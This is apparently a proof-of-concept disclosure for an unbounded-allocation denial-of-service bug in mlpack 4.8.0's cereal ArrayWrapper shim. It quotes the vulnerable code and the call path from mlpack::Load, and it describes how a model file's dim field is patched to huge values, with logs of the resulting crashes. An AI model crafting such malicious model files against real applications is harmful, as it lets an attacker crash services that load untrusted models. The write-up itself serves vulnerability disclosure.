currentlyawey/mlpack-cereal-arraywrapper-terminate-dos

mlpack cereal ArrayWrapper eager-alloc DoS -- PoC

Target: mlpack/mlpack (C++), pin cef4041029a62be209d9a5e4f8f8bc06036230f1 (tag: "Update and release version 4.8.0", 4.8.0).

Bug

src/mlpack/core/cereal/array_wrapper.hpp, ArrayWrapper<T>::load():

template<class Archive>
void load(Archive& ar)
{
  ar(CEREAL_NVP(arraySize));   // read directly from the untrusted stream
  delete[] arrayAddress;
  if (arraySize == 0) { arrayAddress = NULL; return; }
  arrayAddress = new T[arraySize];   // <-- SINK: no upper bound check
  for (size_t i = 0; i < arraySize; ++i)
    ar(cereal::make_nvp("item", arrayAddress[i]));
}

arraySize is read straight out of the input archive with no sanity/bound check, then handed to new T[arraySize]. This is mlpack's own cereal shim (namespace cereal, but authored and vendored inside mlpack, not upstream USCiLab/cereal), used to serialize mlpack's internal C-style arrays.

Call sites reached from tree bound serialization:

• src/mlpack/core/tree/hrectbound_impl.hpp:723 -- HRectBound<...>::serialize(): ar(CEREAL_POINTER_ARRAY(bounds, dim));
• src/mlpack/core/tree/cellbound_impl.hpp:993 -- same shape for CellBound.

dim is a plain size_t member with no validation, read-write by reference through the ArrayWrapper, i.e. the attacker fully controls the new RangeType<ElemType>[dim] allocation size for the root (and every) tree node's bound.

Reached from a normal user workflow:

mlpack::Load(path, knnModel, mlpack::BIN)
  -> LoadModel()                              core/data/load_model.hpp
       try { cereal::BinaryInputArchive ar(stream);
             ar(cereal::make_nvp("model", obj)); }
       catch (cereal::Exception& e) { ... }    // <-- ONLY catches cereal::Exception
  -> NeighborSearch::serialize()               methods/neighbor_search/neighbor_search_impl.hpp
       ar(CEREAL_POINTER(referenceTree));
  -> BinarySpaceTree::serialize()              core/tree/binary_space_tree/binary_space_tree_impl.hpp
       ar(CEREAL_NVP(begin)); ar(CEREAL_NVP(count)); ar(CEREAL_NVP(bound));
  -> HRectBound::serialize()                   core/tree/hrectbound_impl.hpp:723
       ar(CEREAL_POINTER_ARRAY(bounds, dim));
  -> cereal::ArrayWrapper<RangeType<double>>::load()   core/cereal/array_wrapper.hpp
       arrayAddress = new T[arraySize];         // <-- throws std::bad_alloc /
                                                 //     std::bad_array_new_length

std::bad_alloc / std::bad_array_new_length do not derive from cereal::Exception (which derives from std::runtime_error), so LoadModel()'s catch (cereal::Exception&) does not catch them. The exception propagates out of mlpack::Load() uncaught by mlpack, and unless the calling application wraps its own Load() call in a broader try/catch(...) (most don't, since mlpack's own model-loading API is documented/expected to fail gracefully via its own cereal::Exception handling and a bool return value) it reaches std::terminate() -> SIGABRT.

RangeType<T> (core/math/range.hpp) has a non-trivial default constructor (lo(numeric_limits<T>::max()), hi(-numeric_limits<T>::max())), so new RangeType<double>[N] for a large-but-satisfiable N doesn't just reserve virtual address space -- it actually runs N constructor calls, which the allocator/OS must back with real pages, i.e. it commits real memory, not merely a lazy mapping.

Files (/home/wey/fuzz/mlpack/poc/)

• gen_model.cpp / gen_model -- builds a real mlpack::KNN model (default config: DUAL_TREE strategy, default KDTree/HRectBound<EuclideanDistance>, 2-D / 25-point reference set) and saves it with mlpack::Save("model.bin", model, mlpack::BIN) -- a legitimate file.
• model.bin -- the legitimate output of gen_model (1018 bytes).
• patch_model.py -- locates the root tree node's begin(u64=0)/count(u64=25)/HRectBound-version(u32=0)/dim(u64=2) byte pattern in model.bin (found at byte offset 38 in the generated file; located by pattern match, not a hardcoded offset, so it tolerates minor layout drift) and patches the dim field to produce two malicious variants:
  • model_huge.bin -- dim = 0x2000000000 (~137.4 billion) -> requested allocation ~2.2 TiB.
  • model_mid.bin -- dim = 300000000 (~3x10^8) -> requested allocation ~4.47 GiB.
• load_model.cpp / load_model -- loads a given model file exactly the way a real application does: mlpack::Load(path, model, mlpack::BIN), no extra try/catch, matching real-world caller usage (mlpack's own API contract is "returns bool, throws only if something outside its own cereal::Exception handling goes wrong").
• run_negative_control.log, run_huge.log, run_mid.log -- captured transcripts of the three runs below.

Reproduction

$ ./load_model model.bin              # negative control
[harness] Load() returned normally after 5.6e-05s, ok=true
[harness] model reference set: 2 dims x 25 points
exit_code=0

$ ./load_model model_huge.bin         # dim = 0x2000000000
terminate called after throwing an instance of 'std::bad_alloc'
  what():  std::bad_alloc
exit_code=134                          # SIGABRT (128+6), core dumped

$ /usr/bin/time -v ./load_model model_mid.bin   # dim = 300000000
Command terminated by signal 11
Maximum resident set size (kbytes): 4691556      # ~4.47 GiB, matches the
                                                   # 300e6 * sizeof(RangeType<double>)
                                                   # = 300e6*16 byte prediction
exit_code=139                          # SIGSEGV (128+11)

• Negative control proves the harness and file format are correct: an unpatched model loads cleanly and reconstructs the right shape.
• model_huge.bin reproduces exactly the predicted clean crash branch: new RangeType<double>[0x2000000000] cannot be satisfied (~2.2 TiB request on a 15 GiB box) -> std::bad_alloc -> escapes LoadModel's catch (cereal::Exception&) -> uncaught -> std::terminate() -> SIGABRT, deterministically, in well under a second.
• model_mid.bin reproduces the "genuinely commits real memory" branch: the allocator does satisfy the 4.47 GiB request and mlpack's non-trivial RangeType default constructor runs 3x10^8 times, which /usr/bin/time -v confirms as **4,691,556 KB (4.47 GiB) of actual resident memory**, not just reserved virtual space -- before the subsequent unbounded read loop (reading 3x10^8 archived items from a file that only has a few hundred bytes left) runs off the end of the stream and segfaults (SIGSEGV). Either sub-branch is a full process-fatal DoS from a single crafted model file.

Dedup note

This is mlpack's own cereal::ArrayWrapper shim (src/mlpack/core/cereal/array_wrapper.hpp), not a bug in upstream USCiLab/cereal -- there is no cereal-upstream CVE that covers this file, and no existing GitHub Security Advisory was found for it as of 2026-07-17.

Environment

• mlpack source: https://github.com/mlpack/mlpack.git checked out at cef4041029a62be209d9a5e4f8f8bc06036230f1 (verified via git rev-parse HEAD == pin).
• Dependencies (header-only, vendored locally, no system package install required/available): cereal v1.3.2 (USCiLab/cereal), official armadillo-code (gitlab.com/conradsnicta/armadillo-code), ensmallen (mlpack/ensmallen) -- all pulled in only for headers; no BLAS/LAPACK linkage needed (ARMA_DONT_USE_LAPACK/ARMA_DONT_USE_BLAS) since no linear-algebra kernels are exercised by tree construction/serialization.
• Compiler: g++ 11.4.0 (Ubuntu 22.04, WSL2), -O1 -std=c++17.
• OS: Ubuntu 22.04 / WSL2 kernel 6.18.33.2, 15 GiB RAM + 4 GiB swap, 12 vCPU.